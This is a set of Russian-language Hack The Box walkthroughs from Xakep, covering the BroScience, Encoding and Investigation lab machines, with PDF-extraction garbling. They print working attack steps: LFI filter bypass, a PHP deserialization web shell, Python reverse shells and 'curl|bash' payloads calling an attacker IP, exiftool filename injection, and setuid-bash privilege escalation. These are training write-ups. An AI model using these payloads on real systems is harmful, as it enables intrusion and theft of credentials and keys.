На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Наш ли три откры тых пор та: 22 — служ ба OpenSSH 8.4p1, 80 и 443 — веб-сер- 
вер Apache 2.4.54.

По мимо это го, мы наш ли редирект с пор та 80 на 443, а из поля 
 сер тифика та узна ем реаль ный домен (его мы и так уже записа ли в 

).

common-
Name /etc/
hosts

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ
На сай те ничего инте рес ного най ти не уда лось, поэто му прис тупим к ска- 
ниро ванию катало гов.

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов с целью поис ка скры- 
той информа ции и недос тупной обыч ным посети телям фун кций. Для это го
мож но исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch dirb ffuf

feroxbuster
При запус ке исполь зуем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w Seclists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

За пус каем feroxbuster

 
 256  2 

feroxbuster -u https://broscience.htb/ -k -w directory_2.3_medium_
lowercase.txt -t -d

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

На ходим мно го катало гов, боль шинс тво из которых — вто рого уров ня. Одна- 
ко при прос мотре най ден ных стра ниц опре деля ем, что каталог 
не про индекси рован, то есть мы можем пос мотреть все фай лы, которые
в нем находят ся.

/includes/

Со дер жимое катало га /includes/

По поряд ку переби раем фай лы в надеж де рас крыть еще какую-нибудь
информа цию. В ответ на зап рос фай ла  получа ем сооб щение о том,
что нуж но задать параметр .

img.php
path

Со обще ние об ошиб ке

LFI
Так как файл  при нима ет путь к фай лу, поищем уяз вимость про- 
изволь ного вклю чения фай лов (LFI). Поп робу ем обой ти катало ги и ука зать
файл .

img.php

/etc/passwd

https://broscience.htb/includes/img.php?path=../../../../../../../../
etc/passwd 

Ата ка обна руже на

И получа ем сооб щение о том, что нашу ата ку обна ружи ли. Тог да я решил
проб рутить путь по спис ку с раз ными вари анта ми обхо да филь тров. Сде лать
это мож но с помощью .Burp Intruder

Burp Intruder — вклад ка Positions

Ре зуль тат перебо ра

Вы ясни ли, что для обхо да филь тра дос таточ но прос то дваж ды закоди ровать
путь в кодиров ке URL. Про буем закоди ровать путь к фай лу 
и про читать файл.

/etc/passwd

Со дер жимое фай ла /etc/passwd

В откры том катало ге мы видели файл , а теперь мы можем
его про читать.

db_connect.php

Со дер жимое фай ла inlcude.db_connect.php

По луча ем учет ные дан ные для под клю чения к базе дан ных (вклю чая соль
для хеширо вания). Но авто ризо вать ся с ними не выш ло.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists


ЭКСПЛУАТИРУЕМ LFI
И ОШИБКУ СЕРИАЛИЗАЦИИ

В КОДЕ НА PHP

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
Áàéïàñ 2FA
Ре гис три руем ся на сай те, но сра зу узна ем, что авто ризо вать ся не вый дет.
Это свя зано с тем, что на ука зан ную поч ту будет отправ лена ссыл ка для акти- 
вации акка унта.

Со обще ние о регис тра ции поль зовате ля

Бла года ря LFI про чита ем файл  и раз берем код: воз можно, там
будет зависи мый от каких-либо фак торов генера тор ссыл ки.

register.php

Ис ходный код register.php

В стро ке 34 выпол няет ся вклю чение фай ла , затем в стро- 
ке 35 исполь зует ся фун кция , которая и генери- 
рует код. В стро ке 44 сге нери рован ный код встав ляет ся в ссыл ку для отправ- 
ления поль зовате лю. Из инте рес ного отме тим, что при хеширо вании пароля
поль зовате ля исполь зует ся соль из фай ла для под клю чения к базе дан ных
(стро ка 41).

utils.php
generate_activation_code

Про дол жаем охо ту за генера тором кода акти вации и чита ем файл 
.

in-
cludes/utils.php

Ис ходный код includes/utils.php

Код акти вации сос тоит из 32 слу чай ных сим волов (стро ка 7), но не сов сем
слу чай ных. Дело в том, что псев дослу чай ное зна чение, которое воз вра щает
фун кция , все рав но зависи мо от сида фун кции (это зна чение будет пре- 
обра зова но осо бым алго рит мом в пер вое слу чай ное чис ло). То есть если мы
будем знать ини циали затор ран дома, то смо жем рас счи тать все «слу чай ные»
сим волы. В стро ке 4 в качес тве сида исполь зует ся текущее вре мя на сер- 
вере, которое мы можем получить из отве та сер вера в .

rand

Burp History

От вет сер вера

Пов торя ем алго ритм и вмес то фун кции  исполь зуем получен ное зна- 
чение вре мени.

time()

<?php
  $chars =

"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(strtotime("Tue, 21 Feb 2023 12:22:20 GMT"));

  $activation_code = "";
        for ($i = 0; $i < 32; $i++) {

     
  
  $activation_code = $activation_code . $chars[rand(0, strlen($chars
) - 1)];
}

 echo $activation_code;
?>

Сге нери рован ный код

Ис поль зуем этот код в ссыл ке для акти вации соз данно го акка унта.

Ак тивация акка унта

Те перь спо кой но авто ризу емся на сай те.

Deserialization RCE
Смот рим зап росы в Burp History и обра щаем вни мание на уста нов ленные
куки .user-prefs

Зап рос на авто риза цию

В исходном коде стра ницы находим учас ток кода, где куки фор миру ются
и уста нав лива ются. Узна ем, что это сери али зован ный и закоди рован ный
в Base64 объ ект.

Ис ходный код utils.php

За тем про исхо дит десери али зация объ екта, и он никак не про веря ется. Зна- 
чит, мы можем исполь зовать десери али зацию для под ста нов ки дру гого объ- 
екта. Так же находим класс Avatar, у которо го есть фун кция записи фай ла.

Ис ходный код utils.php

Та ким обра зом, мы можем соз дать объ ект клас са , который
получит дан ные по ука зан ному URL и запишет их в локаль ный файл PHP.
Сери али зуем его, и это даст нам шелл на сай те.

AvatarInterface

<?php
  class Avatar {

   public $imgPath;

     public function __construct($imgPath) {
        $this->imgPath = $imgPath;

  }

     public function save($tmp) {
         $f = fopen($this->imgPath, "w");

       fwrite($f, file_get_contents($tmp));
      fclose($f);
  }
}

  class AvatarInterface {
     public $tmp = "http://10.10.14.78/sh.txt";
     public $imgPath = "./sh.php";

     public function __wakeup() {
         $a = new Avatar($this->imgPath);

      $a->save($this->tmp);
  }
}

  echo base64_encode(serialize(new AvatarInterface));
?>

Соз дание новых куки

Те перь на сво ем веб-сер вере в файл  записы ваем самый прос той
PHP-шелл.

sh.txt

  <?php system($_GET['cmd']); ?>

Встав ляем соз данные куки на сайт и отправ ляем зап рос.

При мене ние нового зна чения куки

На наш веб-сер вер при дет зап рос фай ла , а зна чит, шелл на сай те
соз дан. Про веря ем его: выпол ним коман ду .

sh.txt
id

Про вер ка соз данно го PHP-шел ла

А теперь мы можем получить реверс-шелл. Обыч но я исполь зую код
на Python.

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.78",4321)); os.
dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); 
import pty; pty.spawn("sh")'

Сес сия поль зовате ля www-data

ÏÐÎÄÂÈÆÅÍÈÅ
На хос те работа ет и исполь зует ся сай том PostgreSQL. С получен ными ранее
учет ными дан ными под клю чаем ся к СУБД и получа ем все таб лицы из базы

.broscience

psql -h localhost -d broscience -U dbuser 
t \d

Таб лицы в базе broscience

Есть таб лица , получа ем из нее все дан ные.users

   select * from users;

Дан ные в таб лице users

Сох раня ем извле чен ные из базы хеши вмес те с извес тной нам солью в фор- 
мате  и отправ ляем на перебор с помощью .хеш:соль hashcat

hashcat -m 20 hash.txt rockyou.txt 

Взло ман ные пароли

Так мы узна ем три пароля, и с пер вым паролем выходит авто ризо вать ся
по SSH от име ни поль зовате ля .bill

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Те перь нам необ ходимо соб рать информа цию. Пос коль ку вари антов может
быть мно го, я для это го исполь зую скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис тему
на авто мате.

Privilege Escalation Awe-
some Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции. Из инте рес ного —
какой-то скрипт  в катало ге .renew_cert.sh /opt

Фай лы в катало ге /opt

Скрипт запус кает ся такой коман дой:

/bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt 

Это лег ко опре делить при помощи . Перей дем к ана лизу самого
скрип та.

pspy64

Со дер жимое фай ла renew_cert.sh

Скрипт при нима ет в качес тве парамет ра путь к сер тифика ту и про веря ет срок
его дей ствия. Если он исте кает через день, то из сер тифика та извле кают ся
все поля и с эти ми зна чени ями генери рует ся новый. Обра тим вни мание
на коман ду, которая переме щает новый сер тификат. В нее в качес тве нового
име ни фай ла прос то встав ляет ся содер жимое поля . Таким
обра зом, мы можем выпол нить инъ екцию коман ды, к при меру прис воить S-
бит фай лу коман дной обо лоч ки .

Common Name

/bin/bash

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Ге нери руем новый сер тификат и при зап росе Common Name ука зыва ем
коман ду $(chmod +s /bin/bash)

   
 1 

openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.
key -out ./Certs/broscience.crt -days

Ге нери рова ние сер тифика та

Пе риоди чес ки про веря ем пра ва на файл  и замеча ем появив ший- 
ся S-бит.

/bin/bash

Пра ва на файл /bin/bash

Те перь мож но получить при виле гиро ван ный кон текст.

/bin/bash -p

Флаг рута

Ма шина зах вачена! © X

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/DominicBreuker/pspy


ЭКСПЛУАТИРУЕМ
GIT-РЕПОЗИТОРИЙ

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня мы с тобой прой дем по цепоч ке
уяз вимос тей: от LFI к экс плу ата ции Git,
к дру гой LFI и под конец — RCE. По дороге
нам понадо бит ся модер низиро вать Git-
дам пер, а при прод вижении будем исполь- 
зовать выпол нение кода через Git.

На ша цель — зах ватить тре ниро воч ную машину Encoding с пло щад ки 
. Уро вень слож ности — сред ний.

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.198    encoding.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли два откры тых пор та: 22 — служ ба OpenSSH 8.9p1 и 80 — веб-сер- 
вер Apache 2.4.52. Боль ше ничего инте рес ного в резуль татах ска ниро вания
нет, поэто му идем изу чать веб-сер вер.

Глав ная стра ница сай та encoding.htb

ÒÎ×ÊÀ ÂÕÎÄÀ
Бег лый прос мотр сай та выводит нас на API, который работа ет на отдель ном
под домене. Добав ляем новый под домен в файл ./etc/hosts

10.10.11.198 encoding.htb haxtables.htb api.haxtables.htb 

Стра ница API

Об рати вни мание, что зап рашива емая стра ница переда ется в парамет ре
. В таких слу чаях сто ит сра зу про верить наличие LFI. Одна ко най ти уяз- 

вимость не уда лось. Зато на стра нице есть при меры кода, как работать с API
для кодиро вания фай лов, получа емых по ука зан ному URL.

page

Код для кодиро вания фай ла

Нем ного под пра вим код, что бы пос ле получе ния закоди рован ного фай ла
обра ботать ответ и декоди ровать файл.

 import requests
 import json
 import base64

  json_data = {
       'action': 'b64encode',
        'file_url' : 'http://10.10.14.78/test.txt'

}

  
 

response = requests.post('http://api.haxtables.htb/v3/tools/string/
index.php', json=json_data)

  data = json.loads(response.text.strip())
print(base64.b64decode(data["data"]).decode())

А теперь зап росим файл со сво его веб-сер вера:

   python3 -m http.server 80

Ло ги веб-сер вера

Ре зуль тат зап роса

Код работа ет, файл по ссыл ке получен. А теперь про буем изме нить про токол
с  на , что бы попытать ся получить локаль ный файл с сер вера.
Читать будем , для чего изме ним в коде параметр .
http:// file://

/etc/passwd file_url

  'file_url' : 'file:///etc/passwd'

Со дер жимое фай ла /etc/passwd

И получа ем воз можность читать про изволь ные фай лы.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/


ЭКСПЛУАТИРУЕМ
GIT-РЕПОЗИТОРИЙ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
×òåíèå ïðîèçâîëüíûõ ôàéëîâ
Что бы про читать фай лы сай та, нам нуж но знать путь к кор невому катало гу.
В этом нам поможет файл кон фигура ции веб-сер вера.

  'file_url' : 'file:///etc/apache2/sites-enabled/000-default.conf'

Со дер жимое фай ла /etc/apache2/sites-enabled/000-default.conf

В ито ге получа ем пути к кор невым катало гам трех сай тов. Добав ляем запись
для под домена  в файл , нес мотря на то что дос туп к это му
сай ту раз решен толь ко с локаль ного хос та.

image /etc/hosts

10.10.11.198 encoding.htb haxtables.htb api.haxtables.htb image.
haxtables.htb 

Пер вым делом чита ем файл , что бы рас крыть новые под клю- 
чаемые фай лы.

index.php

  'file_url' : 'file:///var/www/image/index.php'

Со дер жимое фай ла image/index.php

Рас кры ваем новый под клю чаемый файл . Прос мотрим и его.utils.php

  'file_url' : 'file:///var/www/image/utils.php'

Со дер жимое фай ла image/utils.php

Изу чая исходный код, отме чаем для себя, что в катало ге есть репози торий
Git. Давай най дем спо соб ска чать его весь.

Git
Для дам па все го репози тория мож но исполь зовать ути литу . Но так
как мы чита ем фай лы не нап рямую, а через уяз вимость на сер вере, скрипт
нуж но нем ного модер низиро вать. Най дем коман ду, где выпол няет ся зап рос
с помощью curl.

Dumper

Ко ман да зап роса к веб-сер веру

Из меним ее для работы через сер вис кодиро вания.

curl    
  

   |    

'http://api.haxtables.htb/v3/tools/string/index.php' -s -H
'Content-Type: application/json' --data-binary "{"action": "b64encode
", "file_url": "file:///var/www/image/.git/$objname"}" | jq .data | 
tr -d '"' base64 -d > "$target"

Те перь запус каем скрипт и получа ем весь репози торий.

Ре зуль тат работы скрип та

Для ана лиза Git я обыч но исполь зую прог рамму . Запус каем ее из дирек- 
тории, где содер жится каталог . Мы и так можем читать фай лы на сер- 
вере, поэто му меня прос то инте ресо вало, какие фай лы и катало ги на нем
есть.

gitk

.git

Ре пози торий в gitk

Сра зу обра щаем вни мание на , о котором мы преж де
не зна ли.

action_handler.php

  'file_url' : 'file:///var/www/image/actions/action_handler.php'

Со дер жимое фай ла action_handler.php

И видим очень опас ное исполь зование фун кции . Так в нее переда- 
ется при нима емый GET-параметр . Но мы не можем обра тить ся к это му
фай лу нап рямую, так как дос туп к сай ту  воз можен толь ко с локаль ного
хос та. Эту LFI мож но рас кру тить до RCE, но нам нуж на еще уяз вимость SSRF,
что бы обра тить ся к сай ту .

include
page

image

image
Ни чего инте рес ного боль ше най ти не получи лось, поэто му вер немся

к пер вому сай ту и прос каниру ем фай лы PHP с помощью .feroxbuster

 1 feroxbuster -u http://haxtables.htb/ -w php_files_common.txt -d

Ре зуль тат ска ниро вания фай лов PHP

На ходим файл . Сра зу получа ем его содер жимое.handler.php

  'file_url' : 'file:///var/www/html/handler.php'

Со дер жимое фай ла handler.php

Сер вер обра баты вает параметр  и переда ет его в фун кцию
. Получим код этой фун кции из фай ла .

uri_path
make_api_call utils.php

  'file_url' : 'file:///var/www/api/utils.php'

Со дер жимое фай ла api/utils.php

Эта фун кция нуж на для отправ ки зап роса на ука зан ный URL. Вот мы и узна ли
спо соб выпол нить зап рос к , где мы наш ли вызов 

.
action_handler.php in-

clude

PHP include RCE
Пер вым делом поп робу ем про верить, дос тигнем ли мы фун кции 
на прак тике. Для это го перепи шем код скрип та и зап росим файл 

.

include
/etc/pass-

wd

 import requests
 import json

  json_data = {
       "action": "",

       "data": "",
       "uri_path": "r@image.haxtables.htb/actions/action_handler.

php?page=/etc/passwd&"
}

   response = requests.post('http://haxtables.htb/handler.php', json=
json_data)
print(response.text)

Со дер жимое фай ла /etc/hosts

Фун кцию  мы все-таки дос тали, поэто му можем сра зу получить RCE
. Сна чала генери руем цепоч ку, которая выпол нит

код на PHP:

include
php_lter_chain_generator

 <?php system('id')?>

Это при ведет к выпол нению коман ды .id

 
python3 ./php_filter_chain_generator/php_filter_chain_generator.py 
--chain "<?php system('id')?>"

Ге нери рова ние цепоч ки экс пло ита

А теперь выпол ним новый зап рос (цепоч ку необ ходимо вста вить вмес то мно- 
гото чия) и получим резуль тат выпол нения коман ды.

 "uri_path": "r@image.haxtables.htb/actions/action_handler.
php?page=...&"

Ре зуль тат зап роса

По мес тим на сво ем веб-сер вере сле дующий реверс-шелл на Python и запус- 
тим лис тенер .pwncat-cs -lp 4321

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.78",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import 
pty; pty.spawn("sh")'

А теперь сге нери руем и отпра вим цепоч ку, которая ска чает и выпол нит
реверс-шелл.

 php_filter_chain_generator/php_filter_chain_generator.py --chain "<
?php system('curl http://10.10.14.78/sh.txt|bash');?>"

Сес сия поль зовате ля www-data

ÏÐÎÄÂÈÆÅÍÈÅ
Те перь нам необ ходимо соб рать информа цию, что бы повысить при виле гии
на хос те. Что бы най ти пути прод вижения, я исполь зую . Заг- 
рузив на сер вер скрипт для Linux и выпол нив его, я под метил в его выдаче
небезо пас ные нас трой ки sudoers.

ñêðèï òû PEASS

Нас трой ки sudoers

Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Есть воз можность выпол нить скрипт 
 от име ни поль зовате ля  без вво да пароля. Пос мотрим на сам скрипт.

/var/www/image/scripts/git-commit.
sh svc

Со дер жимое скрип та git-commit.sh

Здесь мы можем при менить тех нику выпол нения кода через обра бот чик
филь тра. Пер вым делом соз дадим скрипт, который будет выпол нять ся.
Скрипт будет копиро вать SSH-ключ поль зовате ля.

  echo "cat ~/.ssh/id_rsa > /tmp/key.txt" > /tmp/getkey 
chmod +x /tmp/getkey 

За ново ини циали зиру ем репози торий и в файл атри бутов Git добав ляем
новый филь тр.

git init 
  echo '*.php filter=indent' > .git/info/attributes 

Те перь в качес тве обра бот чика для  уста нав лива ем
наш выпол няемый скрипт .

filter.indent.clean
/tmp/getkey

git config filter.indent.clean /tmp/getkey 

И выпол няем  от име ни поль зовате ля .git-commit.sh svc

 sudo -u svc /var/www/image/scripts/git-commit.sh 

При мене ние и выпол нение обра бот чика филь тра

Те перь про буем прос мотреть ско пиро ван ный SSH-ключ.

Со дер жимое фай ла /tmp/key.txt

Под клю чаем ся к хос ту по SSH с получен ным клю чом и забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Да вай сно ва пос мотрим нас трой ки sudoers.

 sudo -l

Нас трой ки sudoers

Те перь мы можем без вво да пароля выпол нить от име ни рута такую коман ду:

/usr/bin/systemctl restart *

Ути лита  нуж на для кон тро ля служб systemd и управле ния ими,
и для нее есть .

systemctl
тех ника GTFOBins

 — это под борка спо собов зло упот ребле ния фун кци ями рас- 
простра нен ных прог рамм для Unix. Исполь зуя эти рецеп ты, мож но быс тро
получить дос туп к коман дным обо лоч кам, повысить при виле гии или передать
фай лы.

GTFOBins

Опи сание спо соба экс плу ата ции GTFOBins для systemctl

Так же про веря ем пра ва на каталог , где рас положе ны
фай лы кон фигура ции для раз личных служб.

/etc/systemd/system

Со дер жимое катало га /etc/systemd/

Кто угод но может записы вать в каталог , а зна чит, мы
можем соз дать в нем кон фигура цию  для запус ка коман ды
в при виле гиро ван ном режиме. В качес тве исполня емой коман ды наз начим
прис воение S-бита фай лу коман дной обо лоч ки .

/etc/systemd/system
getroot.service

/bin/bash

[ ] Service
=Type oneshot

=  +  / /ExecStart chmod u s bin bash
[ ] Install

= - .WantedBy multi user target

А теперь переза пус тим соз данную «служ бу».

sudo /usr/bin/systemctl restart getroot 

Из менение прав фай ла /bin/bash

Флаг рута

У нас есть дос туп от име ни рута, а зна чит, машина зах вачена! © X

https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/gitdumper.sh
https://github.com/epi052/feroxbuster
https://github.com/synacktiv/php_filter_chain_generator
https://github.com/carlospolop/PEASS-ng
https://gtfobins.github.io/gtfobins/systemctl/
https://gtfobins.github.io/


ИЩЕМ СЕКРЕТЫ
В ЖУРНАЛЕ БЕЗОПАСНОСТИ

WINDOWS

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как экс плу ати- 
ровать RCE в популяр ной прог рамме
exiftool, затем мы получим жур нал безопас- 
ности Windows и про ана лизи руем логи.
При повыше нии при виле гий раз ревер сим
прос тень кий ELF-файл.

Зах ватывать мы будем тре ниро воч ную машину Investigation с пло щад ки 
. Ее уро вень слож ности — сред ний.

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.197    investigation.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем все го три откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Apache 2.4.41;•
1234 — веб-сер вер Python 3.8.10.•

На SSH идти нет смыс ла, порт 1234, видимо, был открыт дру гим игро ком, что- 
бы ска чивать с сер вера фай лы, поэто му оста ется идти толь ко на веб-сер вер
на 80-м пор те. А там, как отра жено в , выпол няет ся редирект
на . Добав ляем этот домен в  и смот рим
сайт.

http-title
http://eforenzics.htb /etc/hosts

10.10.11.197 investigation.htb eforenzics.htb 

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ
На сай те находим сер вис для ана лиза изоб ражения и фор му для заг рузки
ана лизи руемо го фай ла.

Стра ница заг рузки фай ла

При попыт ке заг рузить какой-нибудь отличный от изоб ражений фор мат
получа ем ошиб ку, то есть сра зу заг рузить PHP-шелл не вый дет. Тог да заг- 
ружа ем кар тинку в PNG и получа ем ссыл ку на готовый отчет.

Ре зуль тат заг рузки фай ла

От чет пред став ляет собой обыч ный вывод прог раммы .exiftool

Ре зуль тат ана лиза фай ла

Од нако мы узна ли вер сию прог раммы — 12.37. Это уже неп лохая зацеп ка.

ÒÎ×ÊÀ ÎÏÎÐÛ
Пер вым делом сто ит про верить, есть ли для обна ружен ной вер сии exiftool
готовые экс пло иты. Мож но поис кать на , , GitHub и,
конеч но, в Google.

HackerOne exploit-db

По иск экс пло итов в Google

В резуль тате я нашел  про екта, отку да узнал, что эта вер сия уяз- 
вима перед инъ екци ей коман ды через имя фай ла. Таким обра зом, если имя
передан ного в exiftool фай ла закан чива ется вер тикаль ной чер той  и этот
файл при сутс тву ет в фай ловой сис теме, то сим вол  будет рас смат ривать ся
как пайп и коман да, ука зан ная до это го пай па, будет выпол нена в коман дной
обо лоч ке.

ре пози торий

|
|

Пе реиме нуем наше изоб ражение, что бы его новое имя сос тояло
из коман ды для выпол нения и завер шающе го его пай па.

cp 01.png 'curl 10.10.14.78 | bash |'

Та ким обра зом, если заг рузить «новый» файл, то файл  будет зап- 
рошен с нашего сер вера и выпол нится в Bash. На сво ем хос те запус тим
прос той веб-сер вер  и соз дадим файл 

, который будет содер жать реверс-шелл на Python.

index.html

python3 -m http.server 80 index.
htm

 python3 -c 'import socket,subprocess,os; s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.78",4321)); os.
dup2(s.fileno(),0);  os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); 
import pty; pty.spawn("sh")'

Те перь откры ваем лис тенер:

pwncat-cs -lp 4321 

И отправ ляем файл на ана лиз. В лис тенере обна ружим новую сес сию.

Сес сия поль зовате ля www-data

ÏÐÎÄÂÈÆÅÍÈÅ
Что бы най ти путь для повыше ния при виле гий на хос те, нам нуж но соб рать
информа цию о сис теме. Я, как обыч но, исполь зовал скрипт PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис тему
на авто мате.

Privilege Escalation Awe-
some Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе скрип та есть нес коль ко инте рес ных момен тов.

В  видим задачу для сбо ра логов в файл по такому пути:cron

/usr/local/investigation/analysed_log 

За дачи cron

Поль зовате ли груп пы  име ют пра во записи вот в этот файл:www-data

/usr/local/investigation/analysed_log 

Ка тало ги с раз решени ем на запись

В фай ле sudoers есть запись, которая раз реша ет поль зовате лю 
выпол нить коман ду  от име ни поль зовате ля .

smorton
/usr/bin/binary root

Нас трой ки sudoers

Об рати вни мание на обна ружен ный файл и его родитель ский каталог.

Со дер жимое катало га

В катало ге находим файл .msg — это фор мат Microsoft Outlook Message.
Исполь зуемый нами  поз воля ет очень лег ко ска чать этот файл
для ана лиза на сво ем компь юте ре.

pwncat-cs

Заг рузка фай ла в pwncat-cs

Файл Microsoft Outlook Message мож но прос мотреть с помощью одно го
из онлай новых сер висов, нап ример . Это нам ного удоб нее,
чем кон верти ровать пись мо в дру гой фор мат.

encryptomatic.com

Пе репис ка из фай ла

К пись му прик репле но два фай ла, один из которых — жур нал событий
безопас ности Windows.

Со дер жимое ска чан ного архи ва

Для прос мотра логов будем исполь зовать ути литу .python-evtx

python3 evtx_dump.py security.evtx 

При мер события в жур нале

Пер вым делом смот рим события с иден тифика тором 4625 (ошиб ка авто риза- 
ции). В одном из событий в поле  видим какой-то пароль
по умол чанию. Мож но пред положить, что он был по ошиб ке вве ден в поле
с име нем поль зовате ля.

TargetUserName

  30 python3 evtx_dump.py security.evtx | grep -A '4625</EventID>'

Со бытия ошиб ки авто риза ции

У нас есть пароль, про буем исполь зовать его для вхо да в сис тему от име ни
раз ных поль зовате лей и служб. Спи сок поль зовате лей берем из фай ла 

.
/etc/

passwd

Со дер жимое фай ла /etc/passwd

По луча ется авто ризо вать ся по SSH как поль зователь .smorton

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Те перь мы получи ли кон текст поль зовате ля  и можем вер нуть ся
к исполня емо му фай лу .

smorton
/usr/bin/binary

Ин форма ция о фай ле

Ска чива ем его на локаль ный хост:

scp smorton@investigation.htb:/usr/bin/binary binary 

И откры ваем в любом удоб ном деком пилято ре (я исполь зую IDA с Hex Rays).

Де ком пилиро ван ный код фун кции main

